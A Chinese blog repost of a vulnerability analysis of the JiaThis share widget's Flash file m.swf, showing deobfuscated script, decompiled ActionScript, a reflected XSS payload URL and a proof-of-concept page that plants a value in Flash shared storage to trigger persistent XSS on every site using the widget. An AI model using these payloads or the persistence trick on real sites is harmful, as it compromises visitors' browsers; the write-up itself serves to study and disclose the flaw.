阿八博客
  • 100000+

    文章

  • 23

    评论

  • 20

    友链

  • 最近新加了很多技术文章,大家多来逛逛吧~~~~
  • 喜欢这个网站的朋友可以加一下QQ群,我们一起交流技术。

对JiaThis Flash XSS的挖掘与分析

欢迎来到阿八个人博客网站。本 阿八个人博客 网站提供最新的站长新闻,各种互联网资讯。 喜欢本站的朋友可以收藏本站,或者加QQ:我们大家一起来交流技术! URL链接:https://www.abboke.com/rz/2019/1010/116741.html

看到360官微在微博上说了, http://www.jiathis.com/code/swf/m.swf 存在XSS漏洞,可以导致使用了JiaThis的任意网站产生漏洞。得到这个线索,我们来开始顺藤摸瓜,对这个XSS的原理与利用方法进行一次分析。

这次的分析我想以一个发现者的分析顺序去分析,所以假设我这个时候并不知道JiaThis存在Flash XSS。来到JiaThis的官网,就能很快找到他们提供的代码:

codehilite">
<!-- JiaThis Button BEGIN --><div class="jiathis_style">    <a class="jiathis_button_qzone"></a>    <a class="jiathis_button_tsina"></a>    <a class="jiathis_button_tqq"></a>    <a class="jiathis_button_weixin"></a>    <a class="jiathis_button_renren"></a>    <a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a>    <a class="jiathis_counter_style"></a></div><script type="text/javascript" src="http://v3.jiathis.com/code/jia.js?uid=1427098094896152" charset="utf-8"></script><!-- JiaThis Button END -->

最核心的其实就是http://v3.jiathis.com/code/jia.js?uid=1427098094896152 这个javascript,我们打开发现是加过密的。在tool.lu上不能直接解密,当然这并不是说他不能解密。我们将eval去掉,中间部分运行后,console.log打印出来,即可看见真实源码:

QQ20150325-4@2x.png

将得到的源码美化一下,就可以直接看了。由于代码太长,就不贴出来了。

大概浏览一遍,并没有什么发现。我们干脆将jiathis的代码放在页面中,查看一下数据包:

QQ20150325-5@2x.png

画框的两个,之前没见过,可以研究一下。plugin.client.js解密后,有一段比较有意思:

codehilite">
function init() {    var s = (na.userAgent.indexOf("MSIE") > 0) ? d.getElementById(SWFID) : d[SWFID],        fv = getFV();    if (typeof s == 'undefined' || s == 'null' || !s) {        d.write("<div style='position:absolute;width:0px;height:0px;'><object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' width=0 height=0 id='" + SWFID + "' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab'><param name='allowScriptAccess' value='always'><param name='swLiveConnect' value='true'><param name='movie' value='" + fO.path + "'><param name='FlashVars' value='z=a'><embed name='" + SWFID + "' src='" + fO.path + "' FlashVars='z=a' width=0 height=0 allowscriptaccess='always' swLiveConnect='true' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer' /></object></div>")    }    if (fv != '-' && parseInt(fv.match(/^\d+(?=.)/)) > 8) {        fO.su = 1    }}init();return {    ready: function(p) {        if (fO.su) {            var a = d[SWFID] || d.getElementById(SWFID),                jid = a.readSharedObject(JIDNAME),                ut = getUT(jid);            if (!def(jid)) {                uptUt(a, ut)            }            if (typeof($CKE) == 'object') {                $CKE.jid = ut.jid            }            if (typeof(JIATHISCKMP) == 'object') {                if (typeof(JIATHISCKMP.mapping) == 'function') {                    JIATHISCKMP.mapping(ut.jid)                }            }            reqUT(ut)        }    }}

加载了一个flash,也就是之前的m.swf,并且allowscriptaccess的值为always,这说明这个页面中的swf是可以执行javascript代码的。在其中看到了一个敏感的名字a.readSharedObject(JIDNAME)。readSharedObject看起来似乎是在flash的LSO对象中读取值的方法。

将 http://www.jiathis.com/code/swf/m.swf 反编译,得到如下代码:

codehilite">
package m_fla {    import flash.display.*;    import flash.net.*;    import adobe.utils.*;    import flash.accessibility.*;    import flash.desktop.*;    import flash.errors.*;    import flash.events.*;    import flash.external.*;    import flash.filters.*;    import flash.geom.*;    import flash.media.*;    import flash.printing.*;    import flash.profiler.*;    import flash.sampler.*;    import flash.system.*;    import flash.text.*;    import flash.text.engine.*;    import flash.ui.*;    import flash.utils.*;    import flash.xml.*;    public dynamic class MainTimeline extends MovieClip {        public const appName:String = "mao";        public var mySo:SharedObject;        public function MainTimeline(){            addFrameScript(0, this.frame1);        }        public function writeSharedObject(param1:String, param2:String):void{            this.mySo = SharedObject.getLocal(this.appName);            this.mySo.data[param1] = param2;            this.mySo.flush();        }        function frame1(){            this.main();            stop();        }        public function deleteObjects():void{            this.mySo = SharedObject.getLocal(this.appName);            if (this.mySo != null){                this.mySo.clear();            };        }        public function deleteObject(param1:String):Boolean{            this.mySo = SharedObject.getLocal(this.appName);            if (((!((this.mySo == null))) && (!((this.mySo.data[param1] == null))))){                delete this.mySo.data[param1];                return (true);            };            return (false);        }        public function main(){            var paramObj:* = null;            Security.allowDomain("*");            paramObj = root.loaderInfo.parameters;            try {                if (ExternalInterface.available){                    ExternalInterface.addCallback("writeSharedObject", this.writeSharedObject);                    ExternalInterface.addCallback("readSharedObject", this.readSharedObject);                    ExternalInterface.addCallback("readObjects", this.readObjects);                    ExternalInterface.addCallback("deleteObject", this.deleteObject);                    ExternalInterface.addCallback("deleteObjects", this.deleteObjects);                    ExternalInterface.call("_gnayTrack.ready", paramObj);                };            } catch(e) {            };        }        public function readSharedObject(param1:String):String{            this.mySo = SharedObject.getLocal(this.appName);            return (String(this.mySo.data[param1]));        }        public function readObjects():Object{            this.mySo = SharedObject.getLocal(this.appName);            return (this.mySo.data);        }    }}//package m_fla

暂且不看LSO的部分,这里很明显有一个反射型XSS:ExternalInterface.call("_gnayTrack.ready", paramObj);

paramObj是root.loaderInfo.parameters,将paramObj作为ExternalInterface.call方法的第二个参数,第二个参数的话我们可以用\"的方式逃逸出引号范围,执行javascript代码。

有人问了,root.loaderInfo.parameters是个对象,怎么传入ExternalInterface.call?ExternalInterface.call的第二个参数应该是一个字符串,但传入对象也是可以的,实际最后执行的时候应该是类似_gnayTrack.ready({"a": "xxxxx"})

所以,我们现在不仅要闭合双引号",还要闭合一个大括号}和一个小括号),所以最后的payload比大家以前见到的多了}):

codehilite">
http://www.jiathis.com/code/swf/m.swf?a=\"})))}catch(e){alert(1)}//

弹了:

QQ20150325-6@2x.png

这一处应该是一个意外收获。不过收获比较小,因为域是www.jiathis.com,XSS并不能影响到使用jiathis的网站。(除非你将这个swf放在自己的域名下)

回到刚才说的LSO,由于LSO造成的漏洞乌云上也不少了,比如 http://wooyun.org/bugs/wooyun-2014-065197 、http://www.wooyun.org/bugs/wooyun-2013-039481 等。

我们看到swf源码中,确实是调用了LSO对象。我们找到对象保存在我们电脑上的文件C:\Users\phithon\AppData\Local\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\#SharedObjects\DR6LLMCM\www.jiathis.com\code\swf\m.swf\mao.sol

QQ20150325-7@2x.png    

可以看到保存在LSO的内容实际上就是jid=xxxx,我们在控制台直接调用swf对象获得jid的值也验证了这一点:

QQ20150325-8@2x.png

这就好说了。我们将“脏数据”作为jia的值存入LSO,就能留下一个永久后门。

简单构造一个POC:

codehilite">
<html><head>    <meta charset="uft-8">    <title>lookup</title></head><body onload="return rootkit();"><p>hehe</p><!-- JiaThis Button BEGIN --><div class="jiathis_style">    <a class="jiathis_button_qzone"></a>    <a class="jiathis_button_tsina"></a>    <a class="jiathis_button_tqq"></a>    <a class="jiathis_button_weixin"></a>    <a class="jiathis_button_renren"></a>    <a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a>    <a class="jiathis_counter_style"></a></div><script type="text/javascript" src="http://v3.jiathis.com/code/jia.js?uid=1427098094896152" charset="utf-8"></script><!-- JiaThis Button END --><script>function rootkit(){    var a = document["JIATHISSWF"];    a.writeSharedObject("jid", '\\";(function(){if(location.host!=\'mhz.pw\'){alert(document.domain);}})();//a');}</script></body></html>

我将之保存在 http://mhz.pw/game/jiathis/jiathis.html,当访问了这个页面以后,再访问使用了jiathis的网站,即可在该站域下触发XSS,形成一个永久的XSS Rootkit:

QQ20150325-9@2x.png

QQ20150325-10@2x.png

相关文章